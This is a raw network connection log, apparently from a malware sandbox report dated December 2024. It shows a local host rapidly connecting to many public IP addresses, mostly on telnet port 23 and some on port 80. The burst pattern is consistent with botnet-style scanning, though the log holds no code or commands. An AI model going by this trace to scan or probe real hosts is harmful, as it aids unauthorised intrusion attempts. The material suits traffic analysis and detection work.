Dec 3, 2024 21:02:00.501816988 CET	57886	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:00.502294064 CET	47642	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:00.502764940 CET	59470	80	192.168.2.23	89.149.14.97
Dec 3, 2024 21:02:00.503681898 CET	49040	80	192.168.2.23	190.79.16.71
Dec 3, 2024 21:02:00.504333019 CET	39960	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:00.505022049 CET	50104	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:00.505656004 CET	57544	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:00.506294966 CET	56372	80	192.168.2.23	174.173.230.7
Dec 3, 2024 21:02:00.506933928 CET	48216	80	192.168.2.23	20.138.99.28
Dec 3, 2024 21:02:00.507580996 CET	46808	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:02:00.508220911 CET	58106	80	192.168.2.23	59.56.240.27
Dec 3, 2024 21:02:00.509622097 CET	23	41676	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.509706974 CET	23	59670	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:00.509793997 CET	59670	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:00.510102987 CET	23	41720	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.510107994 CET	59736	23	192.168.2.23	102.232.137.110
Dec 3, 2024 21:02:00.510145903 CET	41720	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.511562109 CET	23	52282	190.211.38.241	192.168.2.23
Dec 3, 2024 21:02:00.511852026 CET	23	52994	190.211.38.241	192.168.2.23
Dec 3, 2024 21:02:00.511895895 CET	52994	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:00.512219906 CET	23	38946	154.132.9.16	192.168.2.23
Dec 3, 2024 21:02:00.512521029 CET	23	39666	154.132.9.16	192.168.2.23
Dec 3, 2024 21:02:00.512559891 CET	39666	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:00.512805939 CET	23	45954	178.26.237.81	192.168.2.23
Dec 3, 2024 21:02:00.513206005 CET	23	46672	178.26.237.81	192.168.2.23
Dec 3, 2024 21:02:00.513241053 CET	46672	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:00.513516903 CET	23	39732	198.222.181.139	192.168.2.23
Dec 3, 2024 21:02:00.513858080 CET	23	40448	198.222.181.139	192.168.2.23
Dec 3, 2024 21:02:00.513902903 CET	40448	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:00.514189005 CET	23	37794	17.92.81.65	192.168.2.23
Dec 3, 2024 21:02:00.517890930 CET	23	60316	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.518047094 CET	23	49396	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:00.518090963 CET	23	60370	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.518111944 CET	49396	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.518127918 CET	60370	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.518223047 CET	23	36086	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:00.518414021 CET	23	46964	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:00.518444061 CET	49952	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.518800974 CET	36086	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:00.519048929 CET	36646	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:00.519387960 CET	46964	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:00.519668102 CET	47522	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:00.544200897 CET	23	36598	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.544394016 CET	23	36796	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.544464111 CET	36796	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.544714928 CET	23	46430	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.545025110 CET	23	46628	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.545062065 CET	46628	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.547204018 CET	23	53620	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.547274113 CET	53620	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.547589064 CET	53692	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.548027039 CET	23	40028	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.548084021 CET	40028	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.548320055 CET	40100	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.549160004 CET	23	46322	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.549238920 CET	46322	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.549473047 CET	46394	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.579310894 CET	23	33580	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.579632998 CET	23	34128	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.579670906 CET	23	56164	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:00.579670906 CET	34128	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.579682112 CET	23	56722	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:00.579694033 CET	23	40586	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.579704046 CET	23	41144	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.579736948 CET	56722	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.579740047 CET	41144	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.579951048 CET	23	45950	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.580049038 CET	45950	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.580281973 CET	46020	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.588851929 CET	23	47220	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.588923931 CET	47220	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.589178085 CET	47290	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.589766026 CET	23	43716	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.589849949 CET	43716	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.590085030 CET	43786	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.592932940 CET	23	38854	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.593278885 CET	23	38900	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.593323946 CET	38900	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.597760916 CET	50724	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:00.597763062 CET	52652	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:02:00.604124069 CET	23	53292	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.604202032 CET	23	53338	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.604240894 CET	53338	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.619762897 CET	80	20129	107.166.91.165	192.168.2.23
Dec 3, 2024 21:02:00.619782925 CET	80	20129	50.35.187.51	192.168.2.23
Dec 3, 2024 21:02:00.619820118 CET	20129	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.619820118 CET	20129	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.619901896 CET	80	20129	111.124.66.113	192.168.2.23
Dec 3, 2024 21:02:00.619937897 CET	20129	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.621373892 CET	23	47594	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:00.627525091 CET	80	46808	112.114.37.148	192.168.2.23
Dec 3, 2024 21:02:00.627578974 CET	46808	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:02:00.627968073 CET	36932	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.628494024 CET	58748	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.629013062 CET	60720	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.629363060 CET	46808	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:02:00.629363060 CET	46808	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:02:00.629610062 CET	46838	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:02:00.630386114 CET	23	59670	102.232.137.110	192.168.2.23
Dec 3, 2024 21:02:00.631011009 CET	23	41720	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.631084919 CET	41720	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.631328106 CET	41798	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:00.632780075 CET	23	52994	190.211.38.241	192.168.2.23
Dec 3, 2024 21:02:00.632843971 CET	52994	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:00.633074045 CET	53072	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:00.633563995 CET	23	39666	154.132.9.16	192.168.2.23
Dec 3, 2024 21:02:00.633615971 CET	39666	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:00.633903980 CET	39744	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:00.634088993 CET	23	46672	178.26.237.81	192.168.2.23
Dec 3, 2024 21:02:00.634232998 CET	46672	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:00.634468079 CET	46750	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:00.634706020 CET	23	40448	198.222.181.139	192.168.2.23
Dec 3, 2024 21:02:00.634778976 CET	40448	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:00.635013103 CET	40526	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:00.638139009 CET	23	49396	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:00.638314009 CET	23	49952	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:00.638355017 CET	49952	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.638478041 CET	23	60370	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.638539076 CET	60370	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.638780117 CET	60446	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.638793945 CET	23	36086	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:00.639282942 CET	23	46964	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:00.664689064 CET	23	36796	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.664760113 CET	36796	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.665024996 CET	36872	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.666239977 CET	23	46628	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.666299105 CET	46628	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.666542053 CET	46704	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.668174982 CET	23	53620	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.668698072 CET	23	53692	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.668740988 CET	53692	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.669271946 CET	23	40028	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.669303894 CET	23	40100	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.669315100 CET	23	46322	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.669338942 CET	40100	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.669378042 CET	23	46394	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.669414043 CET	46394	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.700046062 CET	23	45950	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.700078964 CET	23	34128	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.700149059 CET	34128	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.700189114 CET	23	56722	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:00.700387001 CET	34204	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.700448036 CET	23	41144	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.700706005 CET	56722	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.700985909 CET	56798	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.701252937 CET	41144	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.701431990 CET	23	46020	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.701474905 CET	46020	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.701476097 CET	41220	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.709019899 CET	23	47220	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.709161997 CET	23	47290	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.709201097 CET	47290	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.709856033 CET	23	43716	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.710026026 CET	23	43786	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.710062027 CET	43786	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.713537931 CET	23	38900	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.713610888 CET	38900	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.713850975 CET	38976	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.717849016 CET	23	52652	102.92.165.202	192.168.2.23
Dec 3, 2024 21:02:00.717890978 CET	52652	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:02:00.717894077 CET	23	50724	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:00.717926979 CET	50724	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:00.725382090 CET	23	53338	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.725439072 CET	53338	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.725686073 CET	53414	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.748552084 CET	80	36932	107.166.91.165	192.168.2.23
Dec 3, 2024 21:02:00.748590946 CET	80	58748	50.35.187.51	192.168.2.23
Dec 3, 2024 21:02:00.748650074 CET	58748	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.748651981 CET	36932	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.748780966 CET	36932	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.748795986 CET	36932	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.748883963 CET	80	46808	112.114.37.148	192.168.2.23
Dec 3, 2024 21:02:00.748902082 CET	80	60720	111.124.66.113	192.168.2.23
Dec 3, 2024 21:02:00.748919010 CET	46808	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:02:00.748933077 CET	60720	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.749142885 CET	36966	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.749375105 CET	80	46808	112.114.37.148	192.168.2.23
Dec 3, 2024 21:02:00.749433041 CET	58748	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.749442101 CET	58748	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.749550104 CET	80	46808	112.114.37.148	192.168.2.23
Dec 3, 2024 21:02:00.749648094 CET	58782	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.749969006 CET	60720	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.749984026 CET	60720	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.750190973 CET	60754	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.750921965 CET	23	41720	19.2.133.238	192.168.2.23
Dec 3, 2024 21:02:00.752846956 CET	23	52994	190.211.38.241	192.168.2.23
Dec 3, 2024 21:02:00.753451109 CET	23	39666	154.132.9.16	192.168.2.23
Dec 3, 2024 21:02:00.754060030 CET	23	46672	178.26.237.81	192.168.2.23
Dec 3, 2024 21:02:00.754602909 CET	23	40448	198.222.181.139	192.168.2.23
Dec 3, 2024 21:02:00.758861065 CET	23	60370	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.758888006 CET	23	60446	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.758920908 CET	60446	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.759068012 CET	23	49952	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:00.759120941 CET	49952	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.759347916 CET	50010	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.785763025 CET	23	36796	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.785805941 CET	23	36872	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.785849094 CET	36872	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.786231995 CET	23	46628	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.786425114 CET	23	46704	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.786464930 CET	46704	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.788877964 CET	23	53692	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.788944960 CET	53692	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.789196968 CET	53746	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.789496899 CET	23	40100	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.789546013 CET	40100	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.789577007 CET	23	46394	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.789716959 CET	46394	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.789758921 CET	40154	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.790045023 CET	46394	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.790267944 CET	46448	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.820010900 CET	23	34128	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.820247889 CET	23	34204	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.820292950 CET	34204	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.820559025 CET	23	56722	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:00.820854902 CET	23	56798	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:00.820899010 CET	56798	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.821063042 CET	23	41144	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.821394920 CET	23	41220	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.821433067 CET	41220	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.821640968 CET	23	46020	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.821696997 CET	46020	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.821962118 CET	46074	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.829368114 CET	23	47290	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.829427004 CET	47290	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.829689980 CET	47344	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.830060959 CET	23	43786	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.830117941 CET	43786	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.830372095 CET	43840	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.834851980 CET	23	38900	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.835156918 CET	23	38976	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.835195065 CET	38976	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.839396000 CET	23	52652	102.92.165.202	192.168.2.23
Dec 3, 2024 21:02:00.839456081 CET	52652	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:02:00.839571953 CET	23	50724	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:00.839715958 CET	52894	23	192.168.2.23	102.92.165.202
Dec 3, 2024 21:02:00.840017080 CET	50724	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:00.840245008 CET	50966	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:00.845813036 CET	23	53338	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.846106052 CET	23	53414	72.164.249.168	192.168.2.23
Dec 3, 2024 21:02:00.846137047 CET	53414	23	192.168.2.23	72.164.249.168
Dec 3, 2024 21:02:00.868753910 CET	80	36932	107.166.91.165	192.168.2.23
Dec 3, 2024 21:02:00.868837118 CET	80	46808	112.114.37.148	192.168.2.23
Dec 3, 2024 21:02:00.868849039 CET	80	58748	50.35.187.51	192.168.2.23
Dec 3, 2024 21:02:00.868901968 CET	58748	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.868978977 CET	80	36966	107.166.91.165	192.168.2.23
Dec 3, 2024 21:02:00.869035006 CET	36966	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.869050026 CET	36966	80	192.168.2.23	107.166.91.165
Dec 3, 2024 21:02:00.869193077 CET	80	36932	107.166.91.165	192.168.2.23
Dec 3, 2024 21:02:00.869333029 CET	80	60720	111.124.66.113	192.168.2.23
Dec 3, 2024 21:02:00.869375944 CET	60720	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.870099068 CET	80	58748	50.35.187.51	192.168.2.23
Dec 3, 2024 21:02:00.871273041 CET	80	58748	50.35.187.51	192.168.2.23
Dec 3, 2024 21:02:00.871285915 CET	80	58782	50.35.187.51	192.168.2.23
Dec 3, 2024 21:02:00.871295929 CET	80	60720	111.124.66.113	192.168.2.23
Dec 3, 2024 21:02:00.871309996 CET	80	60720	111.124.66.113	192.168.2.23
Dec 3, 2024 21:02:00.871326923 CET	58782	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.871357918 CET	80	60754	111.124.66.113	192.168.2.23
Dec 3, 2024 21:02:00.871370077 CET	58782	80	192.168.2.23	50.35.187.51
Dec 3, 2024 21:02:00.871402979 CET	60754	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.871402979 CET	60754	80	192.168.2.23	111.124.66.113
Dec 3, 2024 21:02:00.880649090 CET	23	49952	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:00.881083965 CET	23	50010	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:00.881124973 CET	23	60446	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:00.881133080 CET	50010	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:00.881206036 CET	60446	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.881642103 CET	60486	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:00.906202078 CET	23	36872	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:00.906265974 CET	36872	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.906543970 CET	23	46704	58.142.210.48	192.168.2.23
Dec 3, 2024 21:02:00.906584978 CET	36912	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:00.906991959 CET	46704	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.907290936 CET	46744	23	192.168.2.23	58.142.210.48
Dec 3, 2024 21:02:00.908818960 CET	23	53692	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.909084082 CET	23	53746	40.95.143.88	192.168.2.23
Dec 3, 2024 21:02:00.909127951 CET	53746	23	192.168.2.23	40.95.143.88
Dec 3, 2024 21:02:00.909400940 CET	23	40100	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.909611940 CET	23	40154	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:00.909648895 CET	40154	23	192.168.2.23	133.6.185.34
Dec 3, 2024 21:02:00.909881115 CET	23	46394	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.910123110 CET	23	46448	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:00.910172939 CET	46448	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:00.940545082 CET	23	34204	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:00.940630913 CET	34204	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.940926075 CET	34244	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:00.940958023 CET	23	56798	109.28.90.120	192.168.2.23
Dec 3, 2024 21:02:00.941292048 CET	56798	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.941536903 CET	56838	23	192.168.2.23	109.28.90.120
Dec 3, 2024 21:02:00.941628933 CET	23	46020	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.941854000 CET	23	46074	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:00.941890955 CET	46074	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:00.942348957 CET	23	41220	151.87.142.180	192.168.2.23
Dec 3, 2024 21:02:00.942415953 CET	41220	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.942671061 CET	41260	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:00.951148987 CET	23	47290	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.951193094 CET	23	47344	132.183.192.11	192.168.2.23
Dec 3, 2024 21:02:00.951208115 CET	23	43786	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.951217890 CET	23	43840	36.21.85.164	192.168.2.23
Dec 3, 2024 21:02:00.951235056 CET	47344	23	192.168.2.23	132.183.192.11
Dec 3, 2024 21:02:00.951265097 CET	43840	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:00.955380917 CET	23	38976	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:00.955452919 CET	38976	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.955796957 CET	39016	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:00.956161022 CET	19873	23	192.168.2.23	184.128.54.90
Dec 3, 2024 21:02:00.956171036 CET	19873	23	192.168.2.23	109.112.26.147
Dec 3, 2024 21:02:00.956171036 CET	19873	23	192.168.2.23	201.83.231.156
Dec 3, 2024 21:02:00.956178904 CET	19873	23	192.168.2.23	57.31.46.96
Dec 3, 2024 21:02:00.956208944 CET	19873	23	192.168.2.23	185.84.20.101
Dec 3, 2024 21:02:00.956219912 CET	19873	23	192.168.2.23	25.112.75.115
Dec 3, 2024 21:02:00.956219912 CET	19873	23	192.168.2.23	100.254.241.150
Dec 3, 2024 21:02:00.956223965 CET	19873	23	192.168.2.23	57.42.30.180
Dec 3, 2024 21:02:00.956227064 CET	19873	23	192.168.2.23	182.34.254.7
Dec 3, 2024 21:02:00.956228971 CET	19873	23	192.168.2.23	135.221.45.192
Dec 3, 2024 21:02:00.956238985 CET	19873	23	192.168.2.23	95.145.15.23
Dec 3, 2024 21:02:00.956238985 CET	19873	23	192.168.2.23	167.170.213.47
Dec 3, 2024 21:02:00.956257105 CET	19873	23	192.168.2.23	51.11.247.248
Dec 3, 2024 21:02:00.956263065 CET	19873	23	192.168.2.23	70.159.231.229
Dec 3, 2024 21:02:00.956270933 CET	19873	23	192.168.2.23	51.117.129.107
Dec 3, 2024 21:02:00.956274033 CET	19873	23	192.168.2.23	216.222.231.249
Dec 3, 2024 21:02:00.956280947 CET	19873	23	192.168.2.23	91.243.10.90
Dec 3, 2024 21:02:00.956290960 CET	19873	23	192.168.2.23	220.173.23.166
Dec 3, 2024 21:02:00.956305981 CET	19873	23	192.168.2.23	14.99.85.209
Dec 3, 2024 21:02:00.956305981 CET	19873	23	192.168.2.23	210.177.211.247
Dec 3, 2024 21:02:00.956305981 CET	19873	23	192.168.2.23	154.208.169.23
Dec 3, 2024 21:02:00.956327915 CET	19873	23	192.168.2.23	32.125.227.221
Dec 3, 2024 21:02:00.956337929 CET	19873	23	192.168.2.23	4.152.149.12
Dec 3, 2024 21:02:00.956346035 CET	19873	23	192.168.2.23	142.231.137.29
Dec 3, 2024 21:02:00.956347942 CET	19873	23	192.168.2.23	164.126.241.244
Dec 3, 2024 21:02:00.956352949 CET	19873	23	192.168.2.23	132.95.51.159
Dec 3, 2024 21:02:00.956362963 CET	19873	23	192.168.2.23	108.161.210.58
Dec 3, 2024 21:02:00.956370115 CET	19873	23	192.168.2.23	174.205.122.53
Dec 3, 2024 21:02:00.956377983 CET	19873	23	192.168.2.23	140.15.54.144
Dec 3, 2024 21:02:00.956386089 CET	19873	23	192.168.2.23	196.186.27.192
Dec 3, 2024 21:02:00.956393957 CET	19873	23	192.168.2.23	73.6.136.223
Dec 3, 2024 21:02:00.956398010 CET	19873	23	192.168.2.23	155.84.73.153
Dec 3, 2024 21:02:00.956408978 CET	19873	23	192.168.2.23	155.49.130.232
Dec 3, 2024 21:02:00.956418037 CET	19873	23	192.168.2.23	87.96.177.199
Dec 3, 2024 21:02:00.956424952 CET	19873	23	192.168.2.23	208.238.3.231
Dec 3, 2024 21:02:00.956429958 CET	19873	23	192.168.2.23	19.45.183.161
Dec 3, 2024 21:02:00.956450939 CET	19873	23	192.168.2.23	126.97.22.119
